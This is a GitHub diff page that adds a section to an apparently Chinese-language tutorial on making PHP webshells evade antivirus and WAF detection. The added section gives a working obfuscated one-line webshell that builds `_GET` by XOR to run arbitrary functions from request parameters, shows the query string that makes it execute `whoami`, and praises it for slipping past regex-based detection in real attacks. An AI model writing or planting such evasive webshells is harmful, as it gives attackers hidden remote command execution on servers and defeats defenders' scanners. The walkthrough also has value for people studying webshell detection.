File tree Expand file tree Collapse file tree 1 file changed +32
-0
lines changed Expand file tree Collapse file tree 1 file changed +32
-0
lines changed Original file line number Diff line number Diff line change @@ -1254,6 +1254,38 @@ $f($_GET['b']);
12541254
12551255为什么要写入为 ` system.aabyss ` 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了
12561256
1257+ ## 12# 多姿势配合免杀
1258+
1259+ 将以上提到的相关姿势,进行多种配合嵌套,实现免杀效果
1260+
1261+ ### 12.1 样例一
1262+
1263+ 刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路
1264+ 这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义
1265+
1266+ ``` php
1267+ <?=~$_='$<> /'^'{{{{';@${$_}[_](@${$_}[__]);
1268+ ```
1269+ 这时候,就可以执行GET传参:` ?_=system&__=whoami ` 来执行whoami命令
1270+
1271+ 由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看
1272+ ``` php
1273+ <?=~$_='$<> /'^'{{{{';
1274+ //即 '$<> /' ^ '{{{{'
1275+ //即 "$<> /" 这部分字符串与后面 "{{{{" 这部分字符串异或
1276+ ```
1277+ 所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 ` _GET `
1278+
1279+ 所以整个PHP语句解密后,再将 ` _ ` 替换为 ` a ` ,将 ` __ ` 替换为 ` b ` ,则原PHP转化为:
1280+ ``` php
1281+ $_GET['a']($_GET['b'])
1282+ ```
1283+ 当我们给 ` a ` 传 ` system ` ,给 ` b ` 传 ` whoami ` ,原式就会变成这样
1284+ ``` php
1285+ system('whoami');
1286+ ```
1287+ 所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
1288+
12571289
12581290# 四,总结
12591291
You can’t perform that action at this time.
0 commit comments